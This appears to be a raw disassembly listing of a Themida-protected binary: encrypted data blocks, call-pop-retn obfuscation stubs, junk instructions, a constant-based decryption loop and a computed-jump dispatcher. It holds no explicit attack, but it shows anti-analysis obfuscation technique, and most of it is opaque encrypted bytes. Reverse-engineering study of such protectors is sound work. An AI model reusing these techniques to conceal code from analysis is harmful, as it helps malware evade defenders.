dd 858907A8h, 7A833DDh, 0A5985C7h, 6E8407A8h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 226BC1C3h, 9D8679Eh, 0A831F195h, 85C7F807h, 7A80939h
dd 0
; ---------------------------------------------------------------------------
mov edx, [ebp+7A831E1h]
push dword ptr [ebp+7A805FDh]
or dl, 6Ch
call dword ptr [ebp+7A81A99h]
push 0
push eax
call sub_5F2160
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F2160 proc near ; CODE XREF: Themida_:005F2158p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5F2160 endp
; ---------------------------------------------------------------------------
sar dword ptr [eax], 1
mov [ebp+7A80C6Dh], ecx
jge loc_5F2181
push edi
pop edx
loc_5F2181: ; CODE XREF: Themida_:005F2179j
popa
push 0
call dword ptr [ebp+7A80D21h]
mov eax, eax
jmp short loc_5F21E9
; ---------------------------------------------------------------------------
dw 552Eh
dd 3BD21261h, 343B1B7h, 891077BCh, 6D4C84F7h, 59926900h
dd 0F31C3436h, 0EA7025E0h, 0A539AFA8h, 42E241B1h, 0B9931663h
dd 0FB8A2E32h, 5895E85h, 0FA68F83h, 2944BB72h, 0A6357056h
dd 338FB6F5h, 0D5D5233Eh, 689F9BB7h, 0FD108B93h, 881287F4h
dd 4FF843B8h, 0D47C1A2Ch
; ---------------------------------------------------------------------------
push eax
loc_5F21E9: ; CODE XREF: Themida_:005F218Cj
lea ecx, [ebp+7AF0E74h]
mov [ebp+7A832D1h], eax
mov [ebp+7A81731h], ecx
pusha
call sub_5F220D
jmp short near ptr loc_5F221A+7
; ---------------------------------------------------------------------------
db 38h
dd 0DEEB9D7h, 19532515h
db 3Ch
; =============== S U B R O U T I N E =======================================
sub_5F220D proc near ; CODE XREF: Themida_:005F21FCp
or [ebp+7A81749h], ebx
pop eax
mov eax, 3072A40Fh
popa
loc_5F221A: ; CODE XREF: Themida_:005F2201j
mov dword ptr [ebp+7A80A59h], 5B6Ch
push 0
push eax
call sub_5F222F
and [eax-3Dh], bl
sub_5F220D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5F222F proc near ; CODE XREF: sub_5F220D+1Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5F222F endp
; ---------------------------------------------------------------------------
xor eax, 6C3DC529h
or [ebx], dh
inc ecx
mov dword ptr [ebp+7A80939h], 0
push 0
push eax
call sub_5F225C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F225C proc near ; CODE XREF: Themida_:005F2254p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5F225C endp
; ---------------------------------------------------------------------------
dd 0FCD705E5h, 98E20752h, 6830Fh, 85890000h, 7A80609h
dd 2FC5B5FFh, 0BD8B07A8h, 7A81BE1h, 1A9995FFh, 6A07A8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 3840BEC3h, 0E9805B19h, 7, 0A5918DFBh, 0E9B051D9h, 12h
dd 24983F4Eh, 0EF1784A0h, 0FC396437h, 0A92AB12Ch, 6A555Dh
dd 0D2195FFh, 0C08B07A8h, 0A06C4EEBh, 2DABB33Ch, 5626025Ch
dd 4C13B1E7h, 62B365D2h, 4826CC7Dh, 0CAA12254h, 8BB10F3Bh
dd 23C1412Eh, 0B23EE046h, 4142C89Bh, 0C2D53E0Dh, 0E991C95Ah
dd 0DED5A203h, 1F4CAE2Fh, 0BFBDCCC2h, 9804750Fh, 0D07FA7B3h
dd 0EBBDE01Bh, 0C9FB1E6Ch, 8E8h, 0FBF2E600h, 0B339C56Dh
dd 9D958BF6h, 5F07A825h, 0E59D8960h, 6607A825h, 0D6A3D781h
dd 8DC78161h, 66000072h, 68C501BAh, 1C78h, 7D958B56h, 5907A815h
dd 118D895Eh, 0FF07A815h, 198D8B37h, 5807A817h, 28D0Fh
dd 0C88B0000h, 411CF081h, 0F5151DAh, 28Bh, 5ACB8B00h, 0E6EBC081h
dd 850F1EE5h, 6, 0AE18589h, 0F08107A8h, 4406170Dh, 0CFAACA81h
dd 7890AE0h, 0EE9h, 0E47D0A00h, 0A8B22DB9h, 0F0F4D807h
dd 818968B5h, 94B7FCEFh, 0A7ABB1Ah, 0C78140D1h, 1A94B7F8h
dd 0BCAB03BBh, 850F4E0Bh, 0FFFFFF8Fh, 2C4D958Bh, 8D8D07A8h
dd 7AF1086h, 0D10FBF66h, 17318D89h, 6A07A8h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0BB1240C3h
dd 3D3EA524h, 81667F97h, 0C71181D0h, 0A80A5985h, 5C0807h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 119BE1BAh, 93985C7h, 7A8h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 1A4416C3h, 8B666CE4h, 75B5FFD0h, 6A07A81Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 0C2B7C350h, 0C5D1F2F4h, 0EFB46055h, 6830Fh, 0C6810000h
dd 19807138h, 8E961h, 17670000h, 0B63133F8h, 95FF18E3h
dd 7A81A99h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 83C35040h, 1E258589h, 9D8907A8h, 7A83485h, 95FF006Ah
dd 7A80D21h, 0AEBC08Bh, 96609708h, 6BFCDE10h, 8D8D2B1Fh
dd 7AF1163h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 7FC35141h, 318D8992h, 6A07A817h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 6079C352h
dd 25DB2D18h, 85C70E19h, 7A80A59h, 6398h, 3545B531h, 85C707A8h
dd 7A80939h, 0
; ---------------------------------------------------------------------------
jb loc_5F2570
mov [ebp+7A8236Dh], eax
loc_5F2570: ; CODE XREF: Themida_:005F2564j
mov [ebp+7A81335h], edi
push dword ptr [ebp+7A823D1h]
push 0
push edi
call sub_5F2587
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F2587 proc near ; CODE XREF: Themida_:005F257Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5F2587 endp
; ---------------------------------------------------------------------------
db 0E7h
dd 7B1EEC61h, 0F18BED1Bh, 1A9995FFh, 6A07A8h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0B045D5C3h
dd 0FF006A1Dh, 0A80D2195h, 0EBC08B07h, 0A21FEC38h, 0DB95D0D9h
dd 7782F18Dh, 48896B86h, 2CB2621h, 0E52C900Bh, 2BC3F21Eh
dd 13135E8Fh, 0DA30A676h, 8D0C9DCEh, 78CC2F8Ch, 9E4CFF5Ch
dd 7A6422E9h, 76AD636Fh, 0FE848h, 65030000h, 40884A9Ah
dd 0E7641522h, 8F4A7B3Fh, 0DFB70F87h, 81DA8B5Fh, 6CB5C7h
dd 6880F00h, 89000000h, 0A808759Dh, 50A4B807h, 0E88134E6h
dd 34E6359Eh, 38A0Fh, 0BF0F0000h, 8937FFF7h, 0A810E5B5h
dd 9D8B5A07h, 7A81361h, 7328C281h, 85890A04h, 7A81529h
dd 0E859F281h, 816073BEh, 78D2DAC0h, 68C0F2Fh, 0F000000h
dd 88h, 0F2816100h, 3B75288Ch, 1361B58Bh, 0F85207A8h, 8166078Fh
dd 831DC6F3h, 850103EFh, 7A8042Dh, 4D9D294Fh, 8107A806h
dd 1E8h, 9A850F00h, 8DFFFFFFh, 0AF13098Dh, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 3D97BBC3h, 807CB036h, 0DC8AADC3h, 17318D89h, 830F07A8h
dd 3, 0C7FAB70Fh, 0A80A5985h, 601007h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 6BA6667h, 85C7F888h, 7A80939h, 0
; ---------------------------------------------------------------------------
xor [ebp+7A80E8Dh], ecx
jo loc_5F2732
mov [ebp+7A80511h], ecx
loc_5F2732: ; CODE XREF: Themida_:005F2726j
push dword ptr [ebp+7A82641h]
push 0
push edx
call sub_5F2743
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F2743 proc near ; CODE XREF: Themida_:005F273Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5F2743 endp
; ---------------------------------------------------------------------------
db 0F4h
dd 76F426D0h, 1A9995FFh, 8D0F07A8h, 3, 66C18B66h, 6A52E8BBh
dd 2195FF00h, 8B07A80Dh, 119EBC0h, 6FAF6EC9h, 1C91520Eh
dd 0E80E25BEh, 0C4977CCBh, 8361F407h, 9CACB84Bh, 61985C6h
dd 685607A8h, 0A9C530DFh, 0CE1B5FFh, 858D07A8h, 7AB781Ah
dd 8D8DD0FFh, 7A82C31h, 0FF406A51h, 0A83091B5h, 9DB5FF07h
dd 0FF07A822h, 91B5FFD0h, 0FF07A830h, 0A8229DB5h, 0EE807h
dd 0DA190000h, 6D8B6E6Dh, 0C9145695h, 3D104B1Bh, 0EA835A5Ah
dd 242CC104h, 2424C102h, 24140302h, 0B8241CF7h, 0
; ---------------------------------------------------------------------------
loc_5F27F8: ; CODE XREF: Themida_:loc_5F2829j
push dword ptr [eax+edx]
pop ebx
add ebx, 1AE840B5h
xor ebx, 2C865C64h
add ebx, 1746287h
mov [edx+eax], ebx
sub eax, 4
cmp eax, [esp]
jnz loc_5F2829
jmp loc_5F283D
; ---------------------------------------------------------------------------
dw 5932h
dd 17FA4F96h
db 15h
; ---------------------------------------------------------------------------
loc_5F2829: ; CODE XREF: Themida_:005F2817j
jmp loc_5F27F8
; ---------------------------------------------------------------------------
dw 40DAh
dd 1F129C44h, 2C43CC08h, 0A1FC9C2Eh
; ---------------------------------------------------------------------------
pop esp
loc_5F283D: ; CODE XREF: Themida_:005F281Dj
lea ebx, [ebp+7A8105Dh]
mov eax, [ebx]
or eax, eax
jz loc_5F2854
mov eax, [ebx]
mov ebx, [ebx+4]
mov [eax], ebx
loc_5F2854: ; CODE XREF: Themida_:005F2847j
mov ecx, ecx
jmp loc_5F29BA
; =============== S U B R O U T I N E =======================================
sub_5F285B proc near ; CODE XREF: sub_406850+12Cp
; sub_409C90+1Dp ...
push edx
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 7AF13FBh
mov eax, [edx+8]
cmp eax, 78263845h
jnz loc_5F29B1
mov eax, [edx+0Ch]
mov ecx, [edx+18h]
ror eax, cl
mov ebx, 8AFDED90h
xor eax, ebx
sub eax, 4
mov [ebp+7A81731h], eax
mov ebx, [eax+4]
mov edi, eax
mov eax, [edx+10h]
mov ecx, [edx+18h]
ror eax, cl
mov esi, 0F228C01Bh
xor eax, esi
sub eax, edi
and eax, 0FFFFFFFCh
sub eax, 4
mov [ebp+7A80A59h], eax
mov eax, [edx+14h]
mov [ebp+7A80939h], eax
mov eax, [edx+18h]
push ebx
jmp loc_5F2975
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A81A75h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A82641h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A80BBDh]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A83099h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A823D1h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A82FC5h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A80055h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A81479h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A810A9h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A814BDh]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A808B1h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A81961h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A805FDh]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A805DDh]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A80AFDh]
jmp loc_5F2989
; ---------------------------------------------------------------------------
push dword ptr [ebp+7A81559h]
jmp loc_5F2989
; ---------------------------------------------------------------------------
loc_5F2975: ; CODE XREF: sub_5F285B+65j
mov ebx, eax
mov eax, 0Bh
mul bx
lea ecx, [ebp+7AF145Ch]
add ecx, eax
jmp ecx
; ---------------------------------------------------------------------------
loc_5F2989: ; CODE XREF: sub_5F285B+70j
; sub_5F285B+7Bj ...
call dword ptr [ebp+7A81A99h]
pop ebx
loc_5F2990: ; CODE XREF: sub_5F285B+14Ej
mov eax, [ebp+7A81731h]
cmp [eax+4], ebx
jnz loc_5F29AE
push ebx
push 1
call dword ptr [ebp+7A80D21h]
pop ebx
jmp loc_5F2990
; ---------------------------------------------------------------------------
loc_5F29AE: ; CODE XREF: sub_5F285B+13Ej
popa
pop edx
retn
; ---------------------------------------------------------------------------
loc_5F29B1: ; CODE XREF: sub_5F285B+18j
popa
pop edx
mov eax, 7E41A8ADh
jmp eax
sub_5F285B endp
; ---------------------------------------------------------------------------
loc_5F29BA: ; CODE XREF: Themida_:005F2856j
mov eax, [ebp+7A82F41h]
lea ecx, [ebp+7AF154Ah]
mov [ecx+1], eax
mov eax, ebx
jmp loc_5F2A8E
; ---------------------------------------------------------------------------
dd 47692F03h, 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h
dd 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h
dd 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh
dd 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h
dd 7B6B5C00h, 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h
dd 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh
dd 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h
dd 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh
dd 0D00097B3h, 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h
dd 5E99E0h, 0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5F2A8E: ; CODE XREF: Themida_:005F29CBj
jmp loc_5F4067
; ---------------------------------------------------------------------------
push 7AF1815h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF1967h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF1A38h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF1B58h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF1BC5h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF1C70h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF1D42h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF1DE8h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF1EB2h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF206Ah
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF2167h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF22E3h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF23E3h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF2524h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF2653h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF2832h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AF2912h
jmp loc_58941B
; ---------------------------------------------------------------------------
db 0F3h, 22h, 35h
dd 72653720h, 0B3A4745Dh, 0F6E1B59Eh, 3225F8E1h, 0EBBA0F1Dh
dd 311A2F28h, 735C7166h, 0B39CB1A6h, 0FFDFF4E3h, 5AE41A60h
dd 50EACBAAh, 5017C7A2h, 1B3CD98Eh, 41622FFAh, 3E59F976h
dd 2FEB2429h, 0BFF53B28h, 0C5D35970h, 1502A6BEh, 4D8ED4C1h
dd 53DB0198h, 0BDF7814Ch, 0D8DB0198h, 0E2A854BFh, 37E3F025h
dd 52h, 4B81C71Ch, 51DB0190h, 64C324Ah, 83D8C511h, 70B2E82Eh
dd 63ACD359h, 0C772B26h, 11572AD8h, 0D3589BDBh, 0A1B9DAE1h
dd 0A17CB1h, 4E0A43DBh, 0C4B17E49h, 0A1487Eh, 2F474EDBh
dd 139D686Fh, 0DB00A1D9h, 0C470DBF4h, 0E3F0CE8Eh, 0E453h
dd 17C75100h, 0E5B83500h, 0E8AA27F2h, 2F28EA23h, 59701B51h
dd 0F91A21D3h, 0F6E1B12Eh, 0F0A3DCE1h, 8FDFCFE7h, 72D35975h
dd 0B9A2B7A0h, 0F533FE19h, 8EC7B460h, 597E19CEh, 0D5A0C18Eh
dd 0ABF1F008h, 0DB019AF6h, 0EC2268BDh, 0F2DB019Ah, 587F1AEBh
dd 0E8A8C08Dh, 3522CCE1h, 1DBBF4E1h, 0BE898E4Ah, 0B9B8D0F1h
dd 0AC4B5C73h, 6E5B62E2h, 5C716635h, 0AB1EA073h, 1BF973D4h
dd 8C41395Ah, 59FC64C0h, 1327ECC4h, 0E1B20000h, 24F8E1F6h
dd 63351E33h, 0A0765F74h, 1AB9A2B7h, 0EFDAE8FDh, 0DBF0E7B6h
dd 1B3027F2h, 5D726532h, 0A0B5A274h, 0A5DB21C0h, 0ABCBAA58h
dd 14C76311h, 3BDD1603h, 0F4DD041Ch, 6D306922h, 0F4D29F6Ah
dd 0D35970BEh, 4D4A0DC4h, 0F1F60B2Ch, 0FD847CFh, 135945C4h
dd 0D358D4DDh, 0A3BBDCE3h, 0C51106BDh, 0E82E83D8h, 0D35970B2h
dd 0A999B1B8h, 0DB017674h, 3186737Ah, 176B5EBh, 0D4C398DBh
dd 878E3C09h, 0CE08926Fh, 0B1DB0176h, 819646E1h, 46189560h
dd 2C3D8651h, 3049E2C1h, 0FB5119C5h, 0FCA8E3FFh, 8D000000h
dd 43257B6Bh, 647CC81Bh, 6717C77Eh, 1B9DC9D5h, 346AB087h
dd 3AD35916h, 0DF251233h, 0D35916A9h, 0BC87A8AFh, 0DCB9C3Fh
dd 7D9A390Ah, 0B707915Ch, 7ED3591Bh, 0D0E8085Ch, 88C1EDF9h
dd 4CE05002h, 25082041h, 3C756275h, 0F2A8799Eh, 0BDA6CDE5h
dd 0A54F611Dh, 31BDD017h, 76012310h, 9D633E7Dh, 31524514h
dd 19FE3C19h, 0D58AD0BDh, 0DBDB0151h, 0EAAEE7D4h, 3D5522EDh
dd 2BEB6C16h, 0FED0F83Eh, 0CFD6E2ABh, 0F2388DE2h, 0E2ABFEBCh
dd 0C0A3BBC2h, 7806611Dh, 3AF4E3B7h, 8EAFBB4Eh, 0CACD9079h
dd 642037D2h, 431BB0FCh, 11D5h, 8398BF60h, 0C8DDFA9Ah
dd 91E39DFh, 485D7A20h, 869BBC5Fh, 81545178h, 0C1988196h
dd 3D8C1D6h, 4416FF14h, 0BF5E3E53h, 0AA574379h, 1AF49CBh
dd 1EF89ABh, 90083E84h, 70ED358h, 1168B04Dh, 504716F9h
dd 0E780523Bh, 88552037h, 0C7665267h, 0B8350017h, 0F3DCF1E6h
dd 0EA206625h, 0F0D3596Fh, 64FDC8E9h, 7093C90Fh, 9299D359h
dd 0D0C7977Ah, 0EA9DCEBBh, 67BCA96Dh, 44577C45h, 7F97A736h
dd 13C6E8Fh, 446D74DBh, 8B6D3D76h, 69AF04D2h, 0D28B6D33h
dd 761A3239h, 0F34835E1h, 8B6D77ADh, 0A5767DD2h, 4A17E2F5h
dd 18ED3332h, 1EDA3375h, 90E4C17h, 7A9AE0CDh, 80E1DEEDh
dd 83538C79h, 0C4967F94h, 851EDBD3h, 16ABFDB3h, 11043Eh
dd 0C9CE8F00h, 0E09CBB4h, 4F4810F9h, 9285513Ah, 0D6C1947Dh
dd 8F16B3C1h, 0CDB6CBCCh, 0FF80D0Ah, 4F384D4Ah, 9373888Fh
dd 5678AEF4h, 0E47ECBAAh, 17C736h, 0B61EF735h, 9C3B74C9h
dd 0CBE3B07Bh, 1A30EDBh, 15B3D5DBh, 413C6CDh, 0EF3E8E4Ah
dd 0FB1017D7h, 2310C451h, 0A9EF34DDh, 68333AE2h, 0A9EFA4DEh
dd 3BA6BFE2h, 92855790h, 80307A7Ah, 4509EB07h, 7000000h
dd 0D8C51106h, 12DDFA9Fh, 0E82E2D45h, 0DB01BEFBh, 0B80DFA01h
dd 68FCA096h, 233B3DDAh, 55E39B40h, 0DC1A1DCAh, 0EAEDAA7Bh
dd 86BEB4C9h, 69DB026Bh, 0B099AEA9h, 4921ECEBh, 1051h
dd 799E3972h, 0E3C9E1AEh, 0B3F91106h, 0D359707Dh, 0D49FB860h
dd 31525907h, 0E1B6EF44h, 0CAEEDEF6h, 0D0DB0886h, 0F3A3DCC9h
dd 34E6CFE4h, 3D1A5823h, 5E97ECD9h, 918199BEh, 0E2B79BC2h
dd 9BD4C1C8h, 420FDAFDh, 9DB5A271h, 0A2B5659Eh, 0E5F2A48Dh
dd 9B7BDC1Ah, 7E2059AEh, 0D0514159h, 0D6EA5FCBh, 0A308D7CFh
dd 0EC81E430h, 0FE414h, 0A9AE6F00h, 0EEE9AB94h, 2F28F0D9h
dd 7265311Ah, 0B6A1745Dh, 6F3693A1h, 0AD96ABACh, 0EFD8EDEAh
dd 2F182D2Ah, 7353686Fh, 55588ED4h, 0C45ECBAAh, 7080BA16h
dd 0B5A2D359h, 672E7461h, 6DDB0885h, 9E407966h, 0DB7B6479h
dd 0A2B3F1BCh, 0F7308572h, 1F553324h, 25DB0885h, 0C107061Eh
dd 0E2B0B7F4h, 0E2FBF3FAh, 1FFC61BEh, 0F77B28Ah, 51020000h
dd 94483146h, 0D3856E83h, 10C6AFC4h, 4A09F207h, 9F2A384Dh
dd 2B405706h, 6B809742h, 0ADC2D582h, 0F00512C4h, 0F52B7110h
dd 0FBCBAA54h, 17C7B361h, 0E6B83500h, 9A026F1h, 0FDB8F29Eh
dd 0B5811BA7h, 7F000009h, 0B4A372ABh, 0EB1FF89Ch, 59706FA5h
dd 918652D3h, 444BF9C6h, 0B253EA8Ah, 0DCFDCA9Ch, 0F5E2B6EFh
dd 46455D2Ah, 86F4600h, 58454CDBh, 468C7F1Fh, 0DB086F10h
dd 0D9EE0F16h, 5E292EF0h, 86F9AD4h, 7B5BBCDBh, 9186558Eh
dd 0EC257A79h, 0BADD7D2Ah, 0C4918199h, 0CAE2B0A1h, 0C968CBC3h
dd 499FC61h, 0ECC2Ch, 91865700h, 0D6C1937Ch, 1700D8C1h
dd 5A7D1902h, 9EB95C45h, 574E7B89h, 957E9384h, 0D7C0D5C2h
dd 17001502h, 5B3B5047h, 544076BCh, 0AC46CBAAh, 17C7FEh
dd 25E6B835h, 5970A9DFh, 0EEA8AFD3h, 0D45C1294h, 27143502h
dd 132B2CEEh, 0FA1DB936h, 0F2E5B22Fh, 98637421h, 2605701Dh
dd 0C298D14Ch, 253D0AD5h, 0BFF39F0Ah, 821BA722h, 8E0h
dd 7080BA80h, 0B5A2D359h, 0D91F7461h, 0D35970A3h, 8B8AA2A9h
dd 885CB45h, 0D77092DBh, 0E10B9FFBh, 0DF2F17D3h, 8CAD004Ch
dd 0C0ADB474h, 0ABC0D787h, 3C0710C2h, 0D0BD19FEh, 8295427Bh
dd 0D60CEAB7h, 0DCDB088Fh, 78BEBDD5h, 0E2B0C1ABh, 3A815072h
dd 68280749h, 91899050h, 0FC61BC20h, 0FA30089Dh, 8500000Dh
dd 0C5AEC3D4h, 2EB0017h, 432C4156h, 826B8097h, 0A1AFC4D3h
dd 0B9DE7D28h, 0FB1CBBA4h, 3F58FDE6h, 8691412Ah, 0ACF29171h
dd 0CBAA5376h, 0AB34E27Ch, 0E9B4A372h, 7121041Ch, 7C1E9B66h
dd 8F0A905Bh, 70BEF43Ah, 0BDC4D359h, 731F8AA5h, 1BA7FD3Fh
dd 82702h, 11060000h, 2D92D8C5h, 0F4DB0886h, 8570BDD2h
dd 7F979736h, 92CBB8BFh, 8103EC0h, 7A81C9D8h, 23F0BBDCh
dd 0E3CCE102h, 0C0592433h, 0AFC7D087h, 91085BFh, 66AEA7DBh
dd 29EB2479h, 5926162Eh, 5FE2B142h, 28E96058h, 4DE2FC61h
dd 0D5475h, 193EDF00h, 5E791B04h, 9FB86049h, 0E2F5A18Ah
dd 2631E4CDh, 0DFC60311h, 1D061B3Ch, 5F485D7Ah, 9F889DBAh
dd 0E3C3D8FFh, 53C8FE44h, 34CECBAAh, 17C786h, 0F1E6B835h
dd 0B0CCB04h, 0FC9916F3h, 0FAAA10DBh, 741FC2F3h, 0EBECAF80h
dd 8DF8A520h, 8F50C715h, 1E3F39DEh, 9642AD44h, 1BA755DCh
dd 77325h, 85BA2300h, 4CD35970h, 0D13452Ah, 4214FE63h
dd 9CBD8A55h, 9F77E084h, 0A2E46CB2h, 0E3EADB07h, 0FA1DBDF6h
dd 6099EB0Dh, 0EFB2E82Eh, 0B1B8DB07h, 681507F7h, 9E402950h
dd 0E770AE79h, 0F3BED97Fh, 0C3180526h, 5880C3A1h, 80FDC12h
dd 21DBE2DBh, 425A48F9h, 0B000B552h, 0BCB4BBE2h, 0FC60767Bh
dd 8A1BF388h, 1500000Ch, 553E5344h, 927B9087h, 0D3BCD1C6h
dd 12FB1007h, 313F5443h, 494E0D98h, 8B8C4B34h, 0CFC88D76h
dd 1601D1BAh
dd 3C822101h, 0CBAA5206h, 0C7C4720Ch, 9C350017h, 70CB0147h
dd 1AD1D359h, 0C5925D7Ah, 0B99CEAA4h, 0BBD25A64h, 0F91EC0A3h
dd 0E550692Eh, 7E938456h, 7C9B4079h, 766134B1h, 3BDDEABh
dd 0CA7D8DFh, 55556D14h, 1BA8CF1Dh, 1AFE4h, 17C7E200h
dd 0E6B83500h, 69AF04F1h, 0D3597033h, 0EA206639h, 0F0D3596Fh
dd 89B0C8E9h, 80576DFh, 0F81FB973h, 11A6602Dh, 6451721Ah
dd 1502D60Fh, 0D0CC0DFDh, 0CBD2DB00h, 0A9456700h, 9ABD5AF0h
dd 474802CFh, 3720F852h, 667E9F6Ch, 0E13C76h, 0D33E57DBh
dd 0FF726327h, 61B6E3h, 0ABB40000h, 9E4CD689h, 0F1A4EDF3h
dd 9ADC5E6h, 95DBC80Ch, 0DB008260h, 0E8EFAF66h, 422F501Dh
dd 0EFE92720h, 480E205Dh, 39162E4Fh, 0AF75AFh, 0FB8358DBh
dd 0B8CAFC4h, 804B6C4Dh, 75405703h, 3E24DFAh, 3BE6516Ah
dd 2B435402h, 0F094672Bh, 0EBBAE3h, 669F0000h, 3CECA6B1h
dd 2B560493h, 0C7B99FB7h, 0B8350017h, 0B005F2E5h, 0DB75138Eh
dd 0FCDA9779h, 0D35926C6h, 0D0ADC5CCh, 0C9948353h, 5F95DB30h
dd 65D35926h, 5F09A45Eh, 0F93D98D1h, 3B5CFEE1h, 0F7F03026h
dd 3D3D358h, 0A5FAFF14h, 58F8295Fh, 74AAF0D3h, 7AD358F8h
dd 4B0EC573h, 93B4814Ch, 0ED0512C2h, 1B08CC49h, 5A2532E2h
dd 3076758Dh, 0DB03A586h, 5F98858Ch, 602BEBBCh, 3A5E41Ah
dd 0C2E3EADBh, 0F4092AF7h, 574F480Bh, 0F49CCDCCh, 0D25830C5h
dd 5D00000Ah, 9D869BBCh, 0DAC3D8FFh, 1B04193Eh, 5A43587Fh
dd 79879CBBh, 91865550h, 0D3C4937Ch, 1700D5BEh, 5E791902h
dd 84CA6949h, 0CBAA504Eh, 0C70CBA54h, 0DD160314h, 824F1A3Dh
dd 0E93E436Ah, 0E0F518C7h, 0CFADD64Ch, 0D3596599h, 14C7989Fh
dd 536B3803h, 94A9AE70h, 17C7A8h, 0B0639C35h, 0EAAC8FA7h
dd 0ED94D8EDh, 0D6000004h, 0D8C51106h, 70073D83h, 60DD359h
dd 4CA9EFEEh, 52DB017Bh, 0BCF6804Bh, 0D7DB017Bh, 0E3A753BEh
dd 53E3FFF4h, 0A133D931h, 5D4A39E9h, 0C8E117h, 0C8E0E7DBh
dd 234ACh, 56ABAA00h, 5970DA10h, 0A616D4D3h, 55AFF4DEh
dd 9888A0A7h, 0D3593E65h, 3225F32Ch, 0DBA6B161h, 0C552F60Eh
dd 96CF2411h, 0C9B9D1C6h, 0DB085447h, 2059464Dh, 0E8EFA97Eh
dd 9C9B2C7h, 34E8210Eh, 738B5823h, 17FF5896h, 7E47E42Ah
dd 464DE2B0h, 61F4DD4Eh, 5D35CAFCh, 9D5h, 8398BF60h, 0C8DDFA9Ah
dd 91E39DFh, 485D7A20h, 869BBC5Fh, 81545178h, 0C1988196h
dd 3D8C1D6h, 4416FF14h, 0BF5E3E53h, 0AA4F4379h, 1AF49CBh
dd 350017C7h, 26F1E6B8h, 1DE8EFA9h, 0ED9FEA0h, 9C7BE693h
dd 54FF6A83h, 475F781Bh, 90A5B264h, 0A801C08Ah, 5BFD361Bh
